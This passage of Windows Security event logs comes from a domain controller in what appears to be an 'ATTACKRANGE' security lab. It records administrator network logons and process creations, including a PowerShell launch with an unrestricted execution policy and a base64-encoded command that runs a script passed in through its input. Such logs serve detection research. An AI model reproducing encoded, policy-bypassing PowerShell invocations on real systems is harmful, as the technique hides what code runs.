accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:41:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247241 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:41:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=247240 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:41:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=247239 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x114F7A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:41:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=247238 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0xDFDAC - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:41:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=247237 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x114F7A - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:41:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247236 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x114F7A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:41:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247235 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:41:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=247234 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:41:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=247233 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x114F41 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:41:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=247232 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x114F41 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:41:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247231 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x114F41 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:41:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247230 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:41:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=247229 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:41:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=247228 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0xFA91B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:41:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=247227 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0xE1402 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:41:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=247226 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0xDFF78 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:41:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=247267 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x117ADF - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:41:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247266 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x117ADF - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:41:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247265 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:41:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=247264 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:41:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=247263 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1153B2 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe94 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x2e8 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RESA454.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSC79E3AD6E09B490980651FDCE87BAA.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=247262 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1153B2 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x2e8 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe88 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\1wjhwrgo.cmdline" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:42:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=247315 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x11A10C - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:42:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247314 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x11A10C - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:42:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247313 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:42:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=247312 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:42:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=247311 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1182E8 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x568 - New Process Name: C:\Windows\System32\chcp.com - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x618 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\chcp.com" 65001 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:42:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=247310 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1182E8 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x618 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xf54 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:42:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=247309 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1189D5 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:42:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247308 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin 